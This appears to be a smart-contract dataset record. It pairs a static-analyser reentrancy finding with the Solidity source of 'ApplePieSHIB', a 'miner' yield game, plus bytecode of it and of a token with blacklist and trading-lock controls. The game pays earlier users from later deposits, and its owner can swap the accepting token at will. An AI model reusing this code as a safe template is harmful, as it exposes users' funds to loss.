4a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c3f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c3e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c4d5760009050611dd4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cf85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d1057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dbb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dd357600a54600c81905550600b54600d819055505b5b611de08484848461221c565b50505050565b6000838311158290611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e259190612fd1565b60405180910390fd5b5060008385611e3d91906133ca565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eb2573d6000803e3d6000fd5b5050565b6000600654821115611efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef490613033565b60405180910390fd5b6000611f07612249565b9050611f1c818461227490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f81577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208f57600080fd5b505afa1580156120a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c79190612a5c565b81600181518110612101577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cc9594939291906131ce565b600060405180830381600087803b1580156121e657600080fd5b505af11580156121fa573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061222a576122296122be565b5b612235848484612301565b80612243576122426124cc565b5b50505050565b60008060006122566124e0565b9150915061226d818361227490919063ffffffff16565b9250505090565b60006122b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612545565b905092915050565b6000600c541480156122d257506000600d54145b156122dc576122ff565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612313876125a8565b95509550955095509550955061237186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612452816126b8565b61245c8483612775565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b991906131b3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069d3c21bcecceda1000000905061251869d3c21bcecceda100000060065461227490919063ffffffff16565b8210156125385760065469d3c21bcecceda1000000935093505050612541565b81819350935050505b9091565b6000808311829061258c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125839190612fd1565b60405180910390fd5b506000838561259b919061333f565b9050809150509392505050565b60008060008060008060008060006125c58a600c54600d546127af565b92509250925060006125d5612249565b905060008060006125e88e878787612845565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061265283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de6565b905092915050565b600080828461266991906132e9565b9050838110156126ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a5906130b3565b60405180910390fd5b8091505092915050565b60006126c2612249565b905060006126d982846128ce90919063ffffffff16565b905061272d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61278a8260065461261090919063ffffffff16565b6006819055506127a58160075461265a90919063ffffffff16565b6007819055505050565b6000806000806127db60646127cd888a6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061280560646127f7888b6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061282e82612820858c61261090919063ffffffff16565b61261090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061285e85896128ce90919063ffffffff16565b9050600061287586896128ce90919063ffffffff16565b9050600061288c87896128ce90919063ffffffff16565b905060006128b5826128a7858761261090919063ffffffff16565b61261090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128e15760009050612943565b600082846128ef9190613370565b90508284826128fe919061333f565b1461293e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612935906130f3565b60405180910390fd5b809150505b92915050565b600061295c61295784613268565b613243565b9050808382526020820190508285602086028201111561297b57600080fd5b60005b858110156129ab578161299188826129b5565b84526020840193506020830192505060018101905061297e565b5050509392505050565b6000813590506129c48161398e565b92915050565b6000815190506129d98161398e565b92915050565b600082601f8301126129f057600080fd5b8135612a00848260208601612949565b91505092915050565b600081359050612a18816139a5565b92915050565b600081359050612a2d816139bc565b92915050565b600060208284031215612a4557600080fd5b6000612a53848285016129b5565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c848285016129ca565b91505092915050565b60008060408385031215612a9857600080fd5b6000612aa6858286016129b5565b9250506020612ab7858286016129b5565b9150509250929050565b600080600060608486031215612ad657600080fd5b6000612ae4868287016129b5565b9350506020612af5868287016129b5565b9250506040612b0686828701612a1e565b9150509250925092565b60008060408385031215612b2357600080fd5b6000612b31858286016129b5565b9250506020612b4285828601612a09565b9150509250929050565b60008060408385031215612b5f57600080fd5b6000612b6d858286016129b5565b9250506020612b7e85828601612a1e565b9150509250929050565b600060208284031215612b9a57600080fd5b600082013567ffffffffffffffff811115612bb457600080fd5b612bc0848285016129df565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a09565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1e565b91505092915050565b60008060008060808587031215612c3157600080fd5b6000612c3f87828801612a1e565b9450506020612c5087828801612a1e565b9350506040612c6187828801612a1e565b9250506060612c7287828801612a1e565b91505092959194509250565b6000612c8a8383612c96565b60208301905092915050565b612c9f816133fe565b82525050565b612cae816133fe565b82525050565b6000612cbf826132a4565b612cc981856132c7565b9350612cd483613294565b8060005b83811015612d05578151612cec8882612c7e565b9750612cf7836132ba565b925050600181019050612cd8565b5085935050505092915050565b612d1b81613410565b82525050565b612d2a81613453565b82525050565b612d3981613477565b82525050565b6000612d4a826132af565b612d5481856132d8565b9350612d64818560208601613489565b612d6d816135c3565b840191505092915050565b6000612d856023836132d8565b9150612d90826135d4565b604082019050919050565b6000612da8603f836132d8565b9150612db382613623565b604082019050919050565b6000612dcb602a836132d8565b9150612dd682613672565b604082019050919050565b6000612dee601c836132d8565b9150612df9826136c1565b602082019050919050565b6000612e116022836132d8565b9150612e1c826136ea565b604082019050919050565b6000612e346023836132d8565b9150612e3f82613739565b604082019050919050565b6000612e57601b836132d8565b9150612e6282613788565b602082019050919050565b6000612e7a6017836132d8565b9150612e85826137b1565b602082019050919050565b6000612e9d6021836132d8565b9150612ea8826137da565b604082019050919050565b6000612ec06020836132d8565b9150612ecb82613829565b602082019050919050565b6000612ee36029836132d8565b9150612eee82613852565b604082019050919050565b6000612f066025836132d8565b9150612f11826138a1565b604082019050919050565b6000612f296023836132d8565b9150612f34826138f0565b604082019050919050565b6000612f4c6024836132d8565b9150612f578261393f565b604082019050919050565b612f6b8161343c565b82525050565b612f7a81613446565b82525050565b6000602082019050612f956000830184612ca5565b92915050565b6000602082019050612fb06000830184612d12565b92915050565b6000602082019050612fcb6000830184612d21565b92915050565b60006020820190508181036000830152612feb8184612d3f565b905092915050565b6000602082019050818103600083015261300c81612d78565b9050919050565b6000602082019050818103600083015261302c81612d9b565b9050919050565b6000602082019050818103600083015261304c81612dbe565b9050919050565b6000602082019050818103600083015261306c81612de1565b9050919050565b6000602082019050818103600083015261308c81612e04565b9050919050565b600060208201905081810360008301526130ac81612e27565b9050919050565b600060208201905081810360008301526130cc81612e4a565b9050919050565b600060208201905081810360008301526130ec81612e6d565b9050919050565b6000602082019050818103600083015261310c81612e90565b9050919050565b6000602082019050818103600083015261312c81612eb3565b9050919050565b6000602082019050818103600083015261314c81612ed6565b9050919050565b6000602082019050818103600083015261316c81612ef9565b9050919050565b6000602082019050818103600083015261318c81612f1c565b9050919050565b600060208201905081810360008301526131ac81612f3f565b9050919050565b60006020820190506131c86000830184612f62565b92915050565b600060a0820190506131e36000830188612f62565b6131f06020830187612d30565b81810360408301526132028186612cb4565b90506132116060830185612ca5565b61321e6080830184612f62565b9695505050505050565b600060208201905061323d6000830184612f71565b92915050565b600061324d61325e565b905061325982826134bc565b919050565b6000604051905090565b600067ffffffffffffffff82111561328357613282613594565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132f48261343c565b91506132ff8361343c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333457613333613536565b5b828201905092915050565b600061334a8261343c565b91506133558361343c565b92508261336557613364613565565b5b828204905092915050565b600061337b8261343c565b91506133868361343c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133bf576133be613536565b5b828202905092915050565b60006133d58261343c565b91506133e08361343c565b9250828210156133f3576133f2613536565b5b828203905092915050565b60006134098261341c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061345e82613465565b9050919050565b60006134708261341c565b9050919050565b60006134828261343c565b9050919050565b60005b838110156134a757808201518184015260208101905061348c565b838111156134b6576000848401525b50505050565b6134c5826135c3565b810181811067ffffffffffffffff821117156134e4576134e3613594565b5b80604052505050565b60006134f88261343c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561352b5761352a613536565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613997816133fe565b81146139a257600080fd5b50565b6139ae81613410565b81146139b957600080fd5b50565b6139c58161343c565b81146139d057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206be6ed45952ab7afbd7f1642a474a6194d6a39e952dde4808399045f7b35f3a064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,673 |
0x6ca0385c90fcd7b0cc71504b13ef88f0566654b8
|
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
/**
*Submitted for verification at BscScan.com on 2021-11-06
*/
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity 0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ApplePieSHIB is Context, Ownable {
using SafeMath for uint256;
uint256 private Pies_TO_Oven_1MINERS = 86400;//for final version should be seconds in a day
uint256 private PSN = 10000;
uint256 private PSNH = 5000;
uint256 private devFeeVal = 4;
bool private initialized = false;
address private recAdd;
mapping (address => uint256) private ovenryMiners;
mapping (address => uint256) private claimedPies;
mapping (address => uint256) private lastOven;
mapping (address => address) private referrals;
uint256 private marketPie;
IERC20 public acceptingToken;
constructor(IERC20 _acceptingToken) {
recAdd = msg.sender;
acceptingToken = _acceptingToken;
}
function setAcceptingToken(IERC20 _acceptingToken) external onlyOwner {
acceptingToken = _acceptingToken;
}
function heatPie(address ref) public {
require(initialized, "not initialized");
if(ref == msg.sender) {
ref = address(0);
}
if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) {
referrals[msg.sender] = ref;
}
uint256 pieUsed = getMyPie(msg.sender);
uint256 newMiners = SafeMath.div(pieUsed,Pies_TO_Oven_1MINERS);
ovenryMiners[msg.sender] = SafeMath.add(ovenryMiners[msg.sender],newMiners);
claimedPies[msg.sender] = 0;
lastOven[msg.sender] = block.timestamp;
//send referral Pies
claimedPies[referrals[msg.sender]] = SafeMath.add(claimedPies[referrals[msg.sender]],SafeMath.div(pieUsed, 5));
//boost market to nerf miners hoarding
marketPie=SafeMath.add(marketPie,SafeMath.div(pieUsed,5));
}
function sellPies() public {
require(initialized, "not initialized");
uint256 hasPies = getMyPie(msg.sender);
uint256 pieValue = calculatePieSell(hasPies);
uint256 fee = devFee(pieValue);
claimedPies[msg.sender] = 0;
lastOven[msg.sender] = block.timestamp;
marketPie = SafeMath.add(marketPie,hasPies);
// recAdd.transfer(fee);
acceptingToken.transfer(recAdd, fee);
acceptingToken.transfer(msg.sender, SafeMath.sub(pieValue,fee));
// payable (msg.sender).transfer(SafeMath.sub(pieValue,fee));
}
function beanRewards(address adr) public view returns(uint256) {
uint256 hasPies = getMyPie(adr);
uint256 pieValue = calculatePieSell(hasPies);
return pieValue;
}
function ovenPie(address ref, uint256 amount) public{
require(initialized, "not initialized");
uint256 piesBought = calculatePieBuy(amount,SafeMath.sub(acceptingToken.balanceOf(address(this)),amount));
piesBought = SafeMath.sub(piesBought,devFee(piesBought));
uint256 fee = devFee(amount);
acceptingToken.transferFrom(msg.sender, address(this), amount- fee);
acceptingToken.transferFrom(msg.sender, recAdd, fee);
// recAdd.transfer(fee);
claimedPies[msg.sender] = SafeMath.add(claimedPies[msg.sender],piesBought);
heatPie(ref);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
// ((PSN*bs)/(PSNH+(PSN+rs)/()))
// (PSN*bs)/(PSNH + ((PSN*rs) + (PSNH *rt)/rt))
}
function calculatePieSell(uint256 pies) public view returns(uint256) {
// return calculateTrade(pies,marketPie,address(this).balance);
return calculateTrade(pies,marketPie,acceptingToken.balanceOf(address(this)));
}
function calculatePieBuy(uint256 amount,uint256 contractBalance) public view returns(uint256) {
return calculateTrade(amount,contractBalance,marketPie);
}
function calculatePieBuySimple(uint256 amount) public view returns(uint256) {
// return calculatePieBuy(eth,address(this).balance);
return calculatePieBuy(amount, acceptingToken.balanceOf(address(this)));
}
function devFee(uint256 amount) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(amount,devFeeVal),100);
}
function seedMarket(uint256 amount) public payable onlyOwner {
require(marketPie == 0, "pies");
initialized = true;
marketPie = 86400000000;
acceptingToken.transferFrom(msg.sender, address(this), amount);
}
function getBalance() public view returns(uint256) {
// return address(this).balance;
return acceptingToken.balanceOf(address(this));
}
function getMyMiners(address adr) public view returns(uint256) {
return ovenryMiners[adr];
}
function getMyPie(address adr) public view returns(uint256) {
return SafeMath.add(claimedPies[adr],getPieSinceLastOven(adr));
}
function getPieSinceLastOven(address adr) public view returns(uint256) {
uint256 secondsPassed=min(Pies_TO_Oven_1MINERS,SafeMath.sub(block.timestamp,lastOven[adr]));
return SafeMath.mul(secondsPassed,ovenryMiners[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
|
0x6080604052600436106100fe5760003560e01c80638996bb8411610095578063a507abee11610064578063a507abee14610312578063b9cc51301461034f578063d61fa39b1461038c578063dac7539e146103c9578063f2fde38b146103f4576100fe565b80638996bb841461026a5780638da5cb5b146102935780639046caee146102be5780639774cd49146102d5576100fe565b80633b8d5189116100d15780633b8d5189146101b05780634b634b06146101d9578063579b57cc14610216578063715018a614610253576100fe565b806312065fe0146101035780633907023f1461012e5780633b604e48146101575780633b65375514610194575b600080fd5b34801561010f57600080fd5b5061011861041d565b60405161012591906119af565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611a2d565b6104cf565b005b34801561016357600080fd5b5061017e60048036038101906101799190611a2d565b6109a8565b60405161018b91906119af565b60405180910390f35b6101ae60048036038101906101a99190611a86565b610a02565b005b3480156101bc57600080fd5b506101d760048036038101906101d29190611af1565b610bb8565b005b3480156101e557600080fd5b5061020060048036038101906101fb9190611a2d565b610c91565b60405161020d91906119af565b60405180910390f35b34801561022257600080fd5b5061023d60048036038101906102389190611a86565b610cda565b60405161024a91906119af565b60405180910390f35b34801561025f57600080fd5b50610268610d97565b005b34801561027657600080fd5b50610291600480360381019061028c9190611b1e565b610eea565b005b34801561029f57600080fd5b506102a8611247565b6040516102b59190611b6d565b60405180910390f35b3480156102ca57600080fd5b506102d3611270565b005b3480156102e157600080fd5b506102fc60048036038101906102f79190611b88565b611511565b60405161030991906119af565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611a2d565b611528565b60405161034691906119af565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611a86565b61154d565b60405161038391906119af565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611a2d565b61160d565b6040516103c091906119af565b60405180910390f35b3480156103d557600080fd5b506103de6116b7565b6040516103eb9190611c27565b60405180910390f35b34801561040057600080fd5b5061041b60048036038101906104169190611a2d565b6116dd565b005b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161047a9190611b6d565b60206040518083038186803b15801561049257600080fd5b505afa1580156104a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ca9190611c57565b905090565b600560009054906101000a900460ff1661051e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051590611ce1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561055757600090505b600073ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561067d57503373ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156107015780600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600061070c336109a8565b9050600061071c8260015461177e565b9050610767600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611794565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e560